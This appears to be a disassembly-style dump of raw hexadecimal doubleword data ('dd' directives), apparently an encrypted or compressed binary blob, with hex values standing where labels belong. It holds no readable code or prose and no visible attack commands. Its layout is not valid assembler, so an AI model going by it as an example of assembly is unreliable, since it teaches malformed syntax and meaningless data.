9226E9FBh dd 8513326h, 77B37E18h, 8B36B338h, 0BAABBA57h, 9846835Dh dd 6D9BC769h, 0B8460CB3h, 0C8648822h, 8E41C5Eh, 552B0EE5h dd 0F5C07B83h, 38F3294Eh, 4DD5F717h, 0A44400EAh, 0E9B4DCEEh dd 725CA727h, 80612026h, 830AD3A0h, 5EFCFA8h, 0C90967B8h dd 8026762Bh, 29685567h, 0E8F99513h, 0C031839Fh, 0F18B02E1h dd 96F64D1Ch, 58047F72h, 3D9DC286h, 40F28902h, 0C0440512h dd 1835C2C7h, 0F0B76D2Ch, 135DFA68h, 8365F12h, 451C9022h dd 33A6FC6Dh, 0DC010206h, 0F86B2C4Ch, 4835EA01h, 4864A82Eh dd 0B51216CFh, 3C4F7E8h, 7530BA51h, 4C4D2D27h, 5212C40Bh dd 1B2EB2FDh, 0E92D2F68h, 5731C0Dh, 17E1E2D2h, 7E2310E4h dd 0E2189C8Fh, 719DAB41h, 9ACBCF1Dh, 0F604BADFh, 0E1F6E28Ah dd 0CEC8A672h, 3461261h, 2777FE0Eh, 0E054ECBh, 45C20A42h dd 0B20A882h, 52596140h, 80E14595h, 116C5676h, 6590DEF7h dd 70485509h, 7010449h, 6A4F2500h, 0F0BF2132h, 48F7079Eh dd 6050E633h, 6F28B0E7h, 6E97313h, 0DEB90A80h, 0EA5250Ah dd 2D2F6C5Fh, 7C42D0E9h, 0EADA18FFh, 0DB74BD9Bh, 2DEC5A4Bh dd 0A6C4C1Dh, 0BF6608C1h, 0FD3E3202h, 0B91F7981h, 0FF6527B4h dd 96D8446Ah, 0E289989Dh, 8E5E9F86h, 0ED507A40h, 0EF29FA1Eh dd 0F84FFB63h, 0B25D9448h, 7B40C05Eh, 75F37528h, 9F5AF8C3h dd 269C5FCh, 0E752D96h, 1869BDC0h, 454B48F9h, 0F6B31ECh dd 0D97F92C2h, 0C5FD6904h, 0E1BD091Bh, 4559F280h, 37278D0Fh dd 40FCF412h, 0B05CD81h dd 9346FF3Fh, 0E7ACB78Bh, 0D70EA4Ah, 0D3855BE9h, 4426FEDFh dd 0C11E4834h, 0D885C381h, 0AA74102h, 0CB247E4Eh, 1E75B0ABh dd 8AC761Eh, 43AAFA93h, 0FEFF2DFh, 57ED0A1h, 841284AFh dd 932B1A8Ah, 0C4FD2DFh, 1334731Fh, 8313221Ch, 33014329h dd 3D244A92h, 7571D9E1h, 4A3D7AC6h, 212FB05h, 0C5FB2CAFh dd 0D661C766h, 0E6C11904h, 3590DC07h, 0AB8A4571h, 0DDAA2412h dd 35436070h, 7F7D92E0h, 0E9EA0905h, 56BDFB90h, 0A4E34026h dd 0FBCF1282h, 0BDB93F31h, 373DCCCh, 0E5B85049h, 34100356h dd 89125E47h, 9601FFC2h, 49C471DBh, 929E53F8h, 25840385h dd 85BA21BCh, 5BE80B4Eh, 1C57090Ah, 53605075h, 5208082h dd 48D7376Eh, 0AFB4257Ch, 94A170A8h, 8695A6D5h, 67E0DF92h dd 6FDE0BBFh, 0A88027F9h, 121F3A0Ch, 0E0FA012Dh, 639CF70h dd 0A0E93830h, 6813548Fh, 0D58C79D3h, 0EA391936h, 48A244Fh dd 523586ABh, 10C63300h, 0E9FE2962h, 0A13453D4h, 97DCB11Eh dd 87F6C5E3h, 68D800BFh, 26963E6Ah, 0C580B260h, 0E29FA10Bh dd 0C7968104h, 0D6D83B02h, 0B489BD0Fh, 2494C5F7h, 5B56CBABh dd 0C1A9FC25h, 0AD08F8E9h, 8528C0BDh, 790244A0h, 30312D41h dd 5B79903Fh, 0D54A8952h, 20020372h, 0C6F1805Ch, 4E3CC058h dd 1F083BBh, 72F0064Bh, 0B0A54AB1h, 42659DAh, 301336D2h dd 875A5AFCh, 0C3E97187h, 0D4B62597h, 762D6884h, 0DA5C9910h dd 12192AC2h, 3A70A888h, 9557C0C7h, 5FC0195Eh, 0F2BA52h dd 3116964Ah, 0CF815AD7h, 323A9E1Ch, 330CB165h, 2425DD35h dd 57CFB3Ah, 3279E91Ch, 48EED84h, 1ACD7F7h, 0BD560196h dd 3B0AB7A0h, 8889B5A8h, 5E54DAE0h, 0D24B7EB5h, 6852ED18h dd 4E38FFBCh, 57C103B2h, 32CB49E9h, 7C8990EEh, 0DCCAFCFBh dd 2FDCFEFFh, 53A8544Bh, 8BED7438h, 0FD3E4907h, 24084028h dd 45551B58h, 0EE13DFB7h, 0B4F46D21h, 5E88C3Fh, 0DE2DB6BEh dd 685C4B65h, 0C6AA082h, 0AA565525h, 65A9A197h, 0F933C112h dd 8952CF26h, 2530545Ah, 26E30774h, 0DAE73C01h, 67E4880Bh dd 3E4CC948h, 81004FE8h, 90283FCEh, 0EFFE5901h, 0C2613A88h dd 41D6F60Fh, 0BE18E9C6h, 452FFD24h, 4C8A061Ah, 283E2101h dd 6F68161h, 60DA09C5h, 99FD35BEh, 0FD0CE9CBh, 7360C7D5h dd 0C0D0F624h, 0FE063AE8h, 0EAFA8814h, 0BF458F12h, 3182B674h dd 0DDCCDD0Fh, 0B7531EC1h, 163151A6h, 2593E22Eh, 0A5945C2Dh dd 9B85E830h, 690E1995h, 3172B641h, 0A5ABF83Ah, 0E4105CBCh dd 68560660h, 2FC3571Ch, 674E8350h, 5580683Eh, 73C93A5Dh dd 0FAF67FD5h, 1F409C3h, 2A8F4446h, 0B859AD04h, 1688205Eh dd 5255CD89h, 0D280BEBCh, 6222E95Eh, 7DA24D75h, 8A3D020Bh dd 0A0F95DBFh, 5992CEA4h, 0B810E3A9h, 0F9ED7DF3h, 928B2813h dd 30E9DBDCh, 802C56A3h, 83F0D5CAh, 4688AC4Ah, 49F52088h dd 1E4A567Eh, 0C3FECE00h, 0F28B352h, 0CB885358h, 19FC9FCBh dd 9CBA3A89h, 0ABD19FA0h, 7A973342h, 9278EEB4h, 79770C95h dd 37722785h, 9B498641h, 2431BC3Ah, 2A43B15Dh, 0CE2301D5h dd 4C617736h, 0C8F9DC0Fh, 3DD79EA8h, 3007C7BDh, 0DD685A45h dd 779D5470h, 6806C315h, 2FEB1430h, 0A7118CF0h, 7D03DC0Dh dd 3B2D7602h, 0D4CDB0ADh, 0E781003Bh, 2B153861h, 97BB5300h dd 9642820h, 261B98DFh, 53596C86h, 0A4DF7ADAh, 13C0A3F2h dd 0F8E6D146h, 2E01B5F3h, 60476658h, 5A8082AAh, 30CB5828h dd 8289BB4Ah, 8EF8B93Bh, 79396F7Eh, 95414020h, 0BE0469DEh dd 548522A6h, 926EA25Fh, 25A31F3h, 731AE9FAh, 42FB3102h dd 0AD40FDB2h, 0BC307A69h, 6BEC0C3Ah, 0C1994E84h, 9698E05Eh dd 0E0F9C3FDh, 4752681Ah, 9F8B8286h, 4E157238h, 4B0F8EEAh dd 0E9BB28FBh, 0D5DEDC26h, 0DB17F993h, 5BDD1C98h, 0CF77165Bh dd 0CFB47F7Bh, 3A4E9888h, 0BA964F4h, 5B49BE5Fh, 0BFB5966h dd 66FF4E83h, 72553876h, 3F838842h, 0ED07CD99h, 5AE47CDFh dd 65BF7354h, 0CCBC5B9Eh, 0E97938D6h, 596582EDh, 71224D68h dd 6ADA8985h, 9ADEC55h, 4D5442BEh, 0A0402985h, 0EE07BD49h dd 29EAFD65h, 5E24EA5Ah, 9B799901h, 0BD2E310Fh, 2BAE267Dh dd 0E0EA2192h, 0FF001B88h, 412DF4D3h, 941A9870h, 190720E7h dd 350DBBE9h, 0B7A32FC1h, 0D19AE9C4h, 0DCD03148h, 87B4FE2Bh dd 0EA5872h, 1C136338h, 0E907EBC1h, 1A859325h, 88F6C00Bh dd 95C082BEh, 189F951Ch, 80B7F3DBh, 6B7F2D5Eh, 421EBE25h dd 3C785FE7h, 79519317h, 45641D1Eh, 1CEA3BABh, 59CB2185h dd 9A9DE90Bh, 0EBE2F6A9h, 7C46047Dh, 5A74AB10h, 0A754BDA6h dd 1F4FAC43h, 83E8EF83h, 0FB8948DCh, 6AC3F1E9h, 2D539ADAh dd 1FE82912h, 72EEC028h, 1342E32h, 2DB8C65Fh, 0CE256932h dd 0ADC9C77Fh, 0B36018D5h, 8B6DBCB0h, 1A547EB6h, 78488263h dd 0D1A3597Dh, 0C43B9B00h, 0F4B5378h, 8F56892Eh, 69ABE985h dd 16AA35AFh, 498BC7Dh, 7C1619CEh, 25D5A0h, 6D3802BFh dd 0CB328905h, 4CB8064Bh, 88940929h, 830BBFBBh, 7BC40EAh dd 0D2BD7A55h, 80BE8503h, 0A0115BA3h, 8217D2B2h, 6F00B725h dd 0A31754F2h, 2D629006h, 4DA297E9h, 3F0A4C95h, 812DAE26h dd 29A96878h, 12D8D7Bh, 0F4505B90h, 7FE15A78h, 829782B7h dd 0DEF13034h, 68CD4852h, 733205E0h, 0F1425A03h, 838740A0h dd 31F898E8h, 3C2CDA58h, 0A55948BEh, 0D9BC8905h, 8F81B2AAh dd 0E579C652h, 7A25001Ch, 35463B0Fh, 76256DC6h, 18EE030h dd 8C36C1CFh, 89707E6Bh, 0F817E9C5h, 0A0044E01h, 4C4ECB44h dd 0EB3694EEh, 0CB9EB2ECh, 0B1A8628Dh, 201000F2h, 75BE05C4h dd 73F21902h, 5552E1E9h, 96C12A12h, 0DECC6922h, 4EAA59C9h dd 0DFB495h, 7857B951h, 0E1F231D3h, 78043BF3h, 8045E07h dd 5B43DAC6h, 0F8B30C40h, 30C0CBFEh, 0E90A07E3h, 73D85C06h dd 1D1336h, 0BF571B53h, 7B381C15h, 19AE6A1h, 0D8425E2Dh dd 5F897573h, 1FB2384h, 6E1FEE68h, 0C9C8E27Ah, 9D655051h dd 0C3ECD780h, 0CDA13B1Fh, 75B801F2h, 3930C2D8h, 2704005h dd 712B2D3Fh, 0CE616BD2h, 0F82901A1h, 0D6F0E4DFh, 2748985Fh dd 0B59232BFh, 4C08D05Dh, 9901755Ah, 0E954A663h, 46133F68h dd 614A70A9h, 6FEEECF2h, 0DA42E8DEh, 2D2FDA10h, 0C2A55989h dd 0DF1A06F6h, 43910C16h, 0E97040ACh, 0E44A5ACDh, 913F4A5h dd 4FE0650h, 0E8894D7Fh, 186D9431h, 0DD7908FAh, 81F08638h dd 0F1517A62h, 508C9A3h, 0E9A1BC7Ch, 93F3860h, 5E88EB80h dd 0BBCABA90h, 0A899F532h, 181EFBD5h, 1EBB9215h, 80FD868h dd 4A21456Ch, 0C3B5F741h, 0C52B0FB3h, 23609A2h, 1BEFE5D7h dd 5BB8CAFEh, 0B119E380h, 7388D3F6h, 0C52876F0h, 0D59C6CF6h dd 34B2D149h, 0E38D8BE8h, 64630405h, 1D2A817h, 2B063D38h dd 0E830CD89h, 0A2BEBD52h, 0E51E912h, 0F885B8BDh, 9AB9828h dd 8FD19F4Ah, 29C91047h, 6E3D7060h, 11C47DF5h, 88F9D494h dd 68125697h, 31AB51E3h, 8FDCD16Ch, 479CF14Bh, 0C5B32D50h dd 0F3FE8521h, 4E794864h, 0D01332FBh, 6E32DDD6h, 122C7625h dd 345EBAB9h, 1263188Eh, 0C8ECA2BEh, 9C97BA8Ch, 4656F449h dd 3E870F08h, 0BA253FAEh, 38BF058Ah, 8A6EB404h, 9894EFCFh dd 27A562FEh, 0ED211AF4h, 4BB652C0h, 67B84CE9h, 0AF57EA8Bh dd 0F47F69FBh, 39DB1F1h, 48B63A2Dh, 0A82CE984h, 0EB5F17h dd 201BABE6h, 86350F12h dd 0F8034D4Bh, 0D58D5FF1h, 0BAB380AAh, 6A2F443Ch, 5480F54Ch dd 0E5649BC6h, 247DBEC6h, 8814555Fh, 7EE8E17Eh, 0E93955A7h dd 938874Eh, 6E604802h, 0CCB25200h, 80C20EFEh, 537D90E2h dd 10A1E914h, 0BB028857h, 45AD1F6Eh, 10085DEh, 0D4E92CFCh dd 24A0929Dh, 69DD4435h, 4F006550h, 2AB93C0Fh, 95558B3Ah dd 0CEBCA0FDh, 7698475h, 0D2E6D05h, 561FA510h, 81311CBFh dd 305A59EFh, 0FDF52BF8h, 0C9450F20h, 417CFEEDh, 5165F42Dh dd 0EA132A15h, 0D2C3B304h, 1B560109h, 0C8B70FE0h, 6F402768h dd 48721298h, 0FF78880h, 0F4C7805Ah, 1DD0D369h, 9E31AD28h dd 18D9F20h, 0F083CBBDh, 0F8A32D24h, 0E4B801AAh, 63766812h dd 57C401BCh, 5D2AD211h, 0A681537Dh, 3B331097h, 2B3F125Ch dd 509E2EA8h, 13B33F92h, 2814F380h, 0C63B760Bh, 0BAE63D75h dd 3D57CCEEh, 5FC58221h, 5F4BA3E9h, 5005ECEDh, 0A38236B4h dd 0F5546033h, 0BFE854E9h, 565D0BBEh, 9D002988h, 2C22462Dh dd 886089BDh, 0B909B2E0h, 5E3D9F0h, 0BE59B151h, 9337FDD7h dd 2D90E633h, 0FFFCC90Ch, 0F5A68D18h, 0BAFE6E28h, 613BA0B3h dd 24BB5959h, 77A52018h, 1435769Ch, 0D7AA75A5h, 12B68695h dd 80A3B507h, 82A321EDh, 59462E7Fh, 9743E247h, 6000BCD2h dd 5551B719h, 0B3063BDh, 0EE31295Ah, 84454AD7h, 0B480CE9Fh dd 4C4D0AFBh, 0BD5F192Fh, 8BF6B128h, 17F70924h, 0F90FCC36h dd 0D0047360h, 4D0E2954h, 1D2DD9C0h, 17B24A19h, 2184AF8Eh dd 8B4CC7FFh, 0EA6FBD05h, 234AB731h, 10003C13h, 127A02C1h dd 9AEDE7E9h, 0ECE65E80h, 345C0AFAh, 0B313ABA8h, 971337ABh dd 0F15A696Fh, 0EE2A1909h, 9C4D242h, 7DBC6636h, 0D59DF958h dd 85BEF81Ch, 3863BE87h, 0C3C1E911h, 9EBCED6Bh, 74D183CBh dd 0E60449BAh, 0B039FACBh, 0BD3540F9h, 4B8C1420h, 0FBF91305h dd 5E0C9304h, 2DC80102h, 0C018EAF5h, 0B7A98A95h, 2B0792E9h dd 0D636D992h, 883134ADh, 0AD9C592Bh, 0A8145565h, 0E1B572ACh dd 0FBE4896h, 0F0A95EEFh, 0EF60D385h, 3125858Ah, 0B78863DCh dd 6EAC8A47h, 7988E215h, 2424DA52h, 0DC5A481Bh, 0E23F8029h dd 52E91FF9h, 87B8C9D3h, 0E73DEE04h, 0BAF4EA62h, 7F1BB0BBh dd 90E30430h, 80265F32h, 0A208CD0h, 4CE9220Bh, 0EF5CD446h dd 0F4C8CF6Bh, 0B0B16C3h, 0B57F5A7h, 0CD84DD11h, 561F08Dh dd 953F757Ch, 0B0C52642h, 0B6E8AE13h, 0E9E1D1E0h, 6BCFE255h dd 0EBD300EDh, 6C7E27B4h, 4632EF8Fh, 8F394541h, 0EE886884h dd 0C5C496F8h, 3F2DBA0Ch, 0A4859B2Dh, 5A40E22Ch, 529732AFh dd 0E6026BFFh, 515D26BEh, 81352489h, 7ABC35B8h, 0F665E99Dh dd 3882827Eh, 60219823h, 265B8A0Bh, 108B1BC7h, 30B1173Ch dd 68DFD0EEh, 0ACBB3A89h, 9B0DA50Ch, 1C9DB607h, 1E8135Ah dd 0C9FEE18Eh, 5C1CA4C0h, 3C4E4A08h, 0FB7C8612h, 67680D21h dd 5B77612Ch, 9852E614h, 0B44279CEh, 7650AD48h, 8C2EC55Ch dd 0BAD766F9h, 17885846h, 0DBAF533Ch, 476B24D5h, 0E83AA7A1h dd 0DDE9E10Eh, 0AA5F0328h, 0C7E56569h, 0F016E917h, 0FD3665A0h dd 8EB5E6B0h, 0C331255Dh, 7AC1CC82h, 0AA8B22ADh, 747FE70Bh dd 5CB882D9h, 72D85E96h, 68543055h, 0FC474E2Ah, 12C8D16Eh dd 0D1F9427Dh, 0C664568Fh, 5C44EB5Ah, 0C91E46B4h, 55CE6190h dd 0BF02D2BEh, 0E01558BAh, 1356CFBAh, 4095237h, 1797AA56h dd 984ED0FBh, 840028EEh, 76F86850h, 4581233h, 85E94840h dd 0C132AA66h, 40926A5Ch, 0C0A7C011h, 1E07050Ch, 11F170Ah dd 0FA4C57D8h, 5AE6A3F7h, 7D944B81h, 965D9C62h, 0B2E42D7Fh dd 242A76F3h, 0E0BB6AA1h, 6AF55A25h, 0B489666h, 161F03E4h dd 0AF98F0Bh, 7D07C224h, 0F1A66AC8h, 11088228h, 0B378B5B3h dd 6E10BD03h, 0B62D1D85h, 0BB965150h, 80735BFAh, 6A685F9Dh dd 0E0F45C58h, 95B937E9h, 0DF62DFFEh, 0C2FAC673h, 7F966817h dd 4589A2D9h, 3DB2512Dh, 9D7A9AF4h, 0D4E9095Ch, 0DBF70902h dd 0AC2BFFEh, 69740B59h, 0D967DC25h, 103B7920h, 6C58435Dh dd 252E1124h, 2A2998E1h, 0FAC459EBh, 67273B76h, 19AFFD83h dd 491CF610h, 0F5881139h, 69DDAC48h, 9D02379Bh, 31003DD1h dd 95295DEBh, 0C7778F0Bh, 5C0DB2D7h, 0C9C7F95Fh, 24FFB7E2h dd 0FFE9680Dh, 7B573489h, 4413121Eh, 0FF315DD1h, 0ADD2D71h dd 0EB022436h, 1AE34439h, 1A84A5Dh, 5E726808h, 9E2F778Bh dd 492B9A46h, 5B3DE953h, 0AEE33F17h, 3DC7710h, 177639BBh dd 55E7B73h, 89C8D0DEh, 0A849C4DAh, 8CA74FD4h, 0FE4FD29Dh dd 2E86872h, 477D58C1h, 50E98458h, 7750B9D3h, 0C1208F26h dd 923FA7A6h, 3B24A4B8h, 0C47894AAh, 8494AAD1h, 0E24FE6B8h dd 0DDEAC054h, 0DA29FB28h, 804405Ah, 5B04C351h, 378EFB4Eh dd 0BBB79922h, 0A209D267h, 0B03F8BB7h, 1864E2D2h, 6C779A33h dd 8A3F50EEh, 0FF30F60Dh, 40DE9042h, 205B606Ch, 0CC174F47h dd 0E9060F94h, 5A8F92FCh, 208CE8E1h, 0D728256Bh, 2DC4D888h dd 9248D340h, 0E82A44C0h, 8231FC33h, 971265F6h, 17B262E0h dd 0BEDAF636h, 0F1A378C3h, 722AA568h, 4F6050BBh, 793054A2h dd 2088FC7Eh, 78578276h, 0C4054AE0h, 0FBB2FAECh, 88C659C9h dd 0B838D1A4h, 8FBA4F4Dh, 43AD25FAh, 5C313CE2h, 223B2A98h dd 0F3B0D430h, 9258E53Dh, 6AB952ABh, 6CAE49Ah, 0A3507FFCh dd 59BF80B1h, 61A50C16h, 0F3F49CF5h, 0E99E0B5Ah, 0B377E6FBh dd 0EF6ED14Eh, 0AD42417Bh, 0EC66DD34h, 0C8950FE3h, 0C90ED3E4h dd 0FEE1FE2Dh, 0CC566F5Fh, 0BF3E08h, 3103142Dh, 8A9809B5h dd 1BB85007h, 7A2FBE7Fh, 4CEAF712h, 0E9085B55h, 2069C5D7h dd 295F0208h, 19C7E9FAh, 0D6055C02h, 65ACF09Bh, 86553BCBh dd 982D6E6Bh, 0C8B6A163h, 9078CC36h, 0ABAE2026h, 1D16B97Ah dd 1FAB4B8Dh, 0AFEC53C8h, 502510B3h, 88273772h, 6BF30FEEh dd 5A0CABB6h, 0B249F251h, 60D2FFB9h, 5F1D705Fh, 2220B14Ah dd 0BB53C0A9h, 0C41B21B2h, 0AFFC11B4h, 88E28BB8h, 0EF58AE8Bh dd 0C3C52E4Eh, 580AFA2h, 759A7A3Eh, 2C015931h, 5C020D38h dd 56462459h, 7CF70080h, 0F4B41F8h, 0CB49068Dh, 0FAE05B8Dh dd 26955D57h, 459D3C16h, 82A4C95Ch, 7BCBEA98h, 706CF1C9h dd 5FD3B131h, 109381Eh, 861A20E7h, 0F39EDD14h, 119FB900h dd 64B860FCh, 75829577h, 0E9C150F9h, 538DA31h, 5D4096E2h dd 970B99B8h, 0F7595682h, 0E8763F1Eh, 5D52519Ch, 0F833C07Ah dd 0BAF02D6Bh, 0DF095576h, 0F614159h, 847AC8BFh, 0EFAFD221h dd 5539661h, 83A6C0BBh, 550B3241h, 2B5DEE01h, 0DA9FFE20h dd 0F36836E8h, 0E3335E4Eh, 0AFA3F41Dh, 0B3B2D213h, 0BB0E1047h dd 823F9340h, 0E9C6E3F7h, 8E2FA229h, 4F592407h, 9BBFE901h dd 806EBDFCh, 2A7E6FDAh, 0ADD3013Eh, 0DD54420Bh, 0EA4250F9h dd 0C59FF5Dh, 0EAAD3A93h, 0C1BB840Dh, 45A42A87h, 635D447Ah dd 0E0B493D3h, 0D6CD2D80h, 0F8C3C500h, 0B758C4B0h, 85EF12DAh dd 42A9D9AAh, 107531C2h, 835FE526h, 158D5ED5h, 4C31C813h dd 6058599Ah, 657983A4h, 492724Ch, 47D8FD92h, 268F083h dd 5FCDE163h, 0EA8D60A7h, 87F07EADh, 0F282180Fh, 0BFEE138Ch dd 0F7B0849Dh, 97DC9FF2h, 73E70C21h, 0D20BEE59h, 80088FE7h dd 236EC86Fh, 0F301200Ch, 295E0880h, 5951FB26h, 30AF1612h dd 0BB361E04h, 9BC6858h, 0F48471DEh, 56093E32h, 9D06C2AFh dd 681332A7h, 0A3D232ABh dd 0EAF409FAh, 1E925751h, 5208D2A8h, 0FB23C9DFh, 406EA248h dd 300FBE1Ah, 49F6FCBCh, 0B8D661FFh, 3DF71D4h, 4E820D73h dd 24FF39ACh, 68CE8CE0h, 4D7F3727h, 985118BBh, 0FA3E4653h dd 9ECE8276h, 80710E47h, 0B94E1A98h, 20449833h, 0E913F874h dd 8C8BA7BBh, 93AEE84Bh, 2E3469FBh, 69E7E4ECh, 0B7D51EFFh dd 7CAD97EDh, 1C888855h, 0C605A328h, 501538E5h, 296A860Dh dd 5B530B7Ah, 501345FBh, 0D1DDF30Ah, 31B1B3BAh, 44C3DFD0h dd 0E6185BB3h, 0B05325CEh, 99F1C939h, 63A024Dh, 0C2558B3Fh dd 58F451h, 0E9DE47EFh, 4CB5F7EAh, 0E1415B55h, 39FF2BFDh dd 10FC38C0h, 0EA48744Eh, 8BDD1584h, 66E14E28h, 520091D1h dd 91909AB6h, 0D6F6571Dh, 0DC05C653h, 0EAF627EDh, 0FA4E8E48h dd 4BE9A804h, 0C17BAFCh, 0D2D8F85Bh, 93E006BAh, 340B0EACh dd 85C58809h, 0EAE8DE96h, 0F6C88605h, 0CAC783D1h, 0A7B0D4E1h dd 3C20F64Ah, 2532681Ch, 55C9CF7h, 45DA6851h, 0A782C1B2h dd 78429F6h, 492F8F70h, 0E859EBB7h, 3D7410F1h, 0EEAF62F2h dd 401C360Bh, 0A095E20h, 6D7F800Fh, 771188F2h, 0DCF6043Dh dd 0EAEDF328h, 0A3B55109h, 0E566A97Fh, 5A801F98h, 83C128B4h dd 0F7E75DD2h, 54105884h, 0FE3B25E9h, 485BAFC6h, 833257E1h dd 54B4E9E1h, 0FC0784A1h, 0FDF010F5h, 5B56502Ch, 3AC535F9h dd 478422E2h, 8D74AA08h, 27CC1FC0h, 84355E42h, 1AC644FFh dd 0FD7FC5ECh, 60F8D74Dh, 3F60CFE1h, 0AA5C2C5Dh, 7E1AF525h dd 698D2040h, 2C6FA626h, 88078C06h, 0E3C6078Ah, 0C1108352h dd 0E1118BE6h, 55F02E03h, 4A2A7209h, 3FD7A921h, 2A88549h dd 0E7BFCD01h, 758E698Ah, 80D70932h, 93B850A5h, 659B2510h dd 0C22F80F0h, 54167FB1h, 6C518C9Dh, 1A210E6Bh, 0CCDD0108h dd 0CE5D9532h, 0A1209697h, 0C57980E9h, 42A8031Ah, 0BCC0FB09h dd 0B44F8A0Fh, 0B7AEB8C4h, 0E913794Ch, 5CB24FFAh, 0ED25014Ch dd 559D97F0h, 11A052BEh, 0F99D8061h, 45BCC247h, 5691B900h dd 84575E31h, 148AC3Ch, 50D074DAh, 0F320D9F7h, 0FF6138B4h dd 4C64ABCEh, 3AA5F1EEh, 81804CA8h, 603C66CDh, 0F5042176h dd 7C6E451Eh, 0C1521B96h, 0C17A4C46h, 3F4FE930h, 91F9F3C4h dd 5B580B9Ch, 88EBFB02h, 576192F7h, 0D2A5FE79h, 0FD3C44F5h dd 0EC598140h, 0ECA94F9Eh, 9CFC414h, 0B1300716h, 29548155h dd 65A22A7Ch, 31685F04h, 0DFE9032Bh, 5D4C34D7h, 4FBFEDC6h dd 0BF0C5EF4h, 0D0883202h, 0DA5A7569h, 80F860FDh, 131E73CCh dd 0BB5215C4h, 0E01A7CD4h, 4E87D246h, 2DAF00D1h, 0FD8129Eh dd 76348FE2h, 0CAFB16A6h, 64AA108Ah, 1CF55626h, 0B230FD20h dd 0C8289B06h, 1B75958h, 0F1B75352h, 65F5FA88h, 0FBD40575h dd 854A9F39h, 0FB5372A4h, 0E90A66E3h, 81F4C26Ch, 0CE398DEBh dd 76CBD866h, 51FE5C14h, 33D11280h, 6003E8E4h, 93B7303Ah dd 1690C7FEh, 9F4A8A20h, 708C767Eh, 5FF612A1h, 4521B0DFh dd 0FC8CCC98h, 0E4BAF1F0h, 24202F97h, 9DFA0736h, 92143066h dd 0B78957B9h, 5E9A552Bh, 9110EA60h, 55D84281h, 0BEEABF54h dd 0F32E5160h, 530C4A99h, 90F4ABB3h, 4E2C2019h, 539546ECh dd 65C40246h, 8D56069Fh, 3E47B27h, 310BE8C1h, 908D53A3h dd 9937254h, 0C9C1F29Fh, 70320506h, 56434280h, 81007427h dd 0A76411E7h, 27840F15h, 0B17CAC4Fh, 0E187FB70h, 0C86F2FC2h dd 2947D601h, 79F76FCFh, 0CC214B79h, 5A585EE1h, 3709D235h dd 0A334755Ch, 6BE371BDh, 1CC794FFh, 3817E7E9h, 26CBB4Ah dd 82A149E9h, 6F592D02h, 22D771A4h, 5F016DC8h, 31D67812h dd 0A8753E82h, 5518C26Eh, 44C9932Fh, 0B03E44FDh, 3C209DC7h dd 942AC8C3h, 0A200FB8h, 1BC1583Ah, 4BC9AA40h, 0C0B8D03Fh dd 18450241h, 57AEE882h, 564007B7h, 2D839550h, 0B0F603B2h dd 598358C5h, 1682E14Fh, 0CB7A0C80h, 0EA05ED89h, 308F1905h dd 0EF01F029h, 58B63ACDh, 16A8846Fh, 658AABD9h, 90458D00h dd 67D92D64h, 3CFAD74Ch, 0D7D56EBCh, 0F4C1D088h, 0EF3835E5h dd 3A94AFC4h, 0B91909BEh, 0CCD72AA9h, 0EEBF31C8h, 0BC3B1FCDh dd 7F109323h, 50FB3316h, 0E913083Eh, 8811445Ah, 5837BEE3h dd 0E15BDA82h, 0FB3A686Eh, 5A560F1Dh, 245870E3h, 0FA4BE73Bh dd 455FE68Bh, 0FF2EA0A5h, 5C986D32h, 9E69678h, 67568B8Ch dd 5A472970h, 64B9CB20h, 91AA5B15h, 544ED62h, 0FB03B4BFh dd 0A5744749h, 0EE7ACF0Ah, 0B7EE240h, 25617C91h, 4D59AC38h dd 94181582h, 0FA146079h, 66E7B716h, 3039B402h, 0E941FFE1h dd 0E45FC6E0h, 8106C0FCh, 0A1609DEAh, 882553F0h, 0C06C7EC7h dd 4F2647DDh, 3FFFE924h, 0D3684E9Ch, 29972F0Eh, 4AE5202h dd 1230D2CBh, 89583C04h, 77A60482h, 0B6576209h, 95699F75h dd 5D5DEF7h, 0CA5E8873h, 5F6B4AA7h, 92EA93C3h, 6805FDFCh dd 984460FDh, 8DBBC234h, 7CF7E559h, 0DDC24186h, 5B57EA77h dd 0F8E941ACh, 0C9AC2411h, 24223A5Bh, 6F4A6055h, 0BA6C58A9h dd 713BE502h, 66401030h, 0F7828A9Dh, 933D63E7h, 6B0051DFh dd 5B576F25h, 60089D5Eh, 0BBC059Eh, 1501AFB2h, 95927013h dd 3196A02Ah, 2C081DB6h, 77FF0523h, 369B8240h, 4EDD103h dd 0AED8676Eh, 29A5F0D9h, 0FE29E9F8h, 0DD01B76Dh, 12E537Fh dd 8EAC7F7h, 0DD525A0Bh, 0A9D65838h, 0F5262795h, 92A1730Eh dd 824D1460h, 35BA0A80h, 51D279Fh, 15DD4F9Ah, 0A67AAD40h dd 0BDF0E9C2h, 51BD3E00h, 4E300825h, 0DAB2A845h, 5B14AF7h dd 0FD2F8050h, 691FDFC4h, 7C0394A5h, 0EA3EE1D2h, 0A352672Ah dd 23045DC9h, 6C3AE4CCh, 1AC71B1Eh, 0C5C012D3h, 3D0FCBBAh dd 0E42F1F55h, 88C1CEC3h, 7F312590h, 0BF3A7069h, 9AC1B22Ch dd 12EEB279h, 0E8290168h, 0FD51E241h, 5C4988F9h, 6BE4580Dh dd 7893A0BFh, 0A02FB671h, 249843AAh, 22554E0h, 63660AF6h dd 6B2CAF7h, 0F1E5D08h, 602009FBh, 820D6E8h, 7F41E917h dd 9A9EE0BDh, 40DEFD9Ah, 4665109Fh, 0A20C328Ch, 42F8FD9Bh dd 95525628h, 4A587C7Dh, 0FAF23796h, 2DC00A24h, 5A1877FBh dd 5C89F463h, 0C992574Ch, 0E24A8559h, 8B0B9D53h, 7D762B6Dh dd 79979315h, 3C5101E0h, 8C13E2B1h, 0A1A4B819h, 0C59D5887h dd 0F84ED6E5h, 0E7944836h, 0C8B65290h, 32CE3980h, 0C057E680h dd 0DEF602EEh, 7202598h, 66CC9EDh, 12BF0779h, 75CD1D4Bh dd 0C7CD462Eh, 0EE067369h, 53B1397Bh, 36540B0Ch, 6757E4F4h dd 40E03C9Ah, 48363CF6h, 49AD5997h, 2F11E980h, 759D02F0h dd 80B2B1A0h, 310B43F6h, 6268E9FEh, 0F0AF40EBh, 49850C13h dd 0E38EC383h, 0D812DA17h, 3A44621Eh, 0ECEA7FEDh, 74680968h dd 2FD4C649h, 0CD530384h, 7DB15549h, 84D17A02h, 0FD96D9BDh dd 20C4BBEBh, 2176E5FBh, 0C03487E9h, 7B8307E1h, 0E22F023Fh dd 5CA5311Eh, 67399640h, 745F9A2Fh, 0B8E0C2D0h, 89FD4D7Dh dd 10F02DE9h, 8E7373BDh, 0E1101089h, 3381B918h, 136896C9h dd 2BDE7155h, 0F2AEF013h, 57F2B5D3h, 6B7B6882h, 9096B4FDh dd 75BD18C8h, 25F4B63Fh, 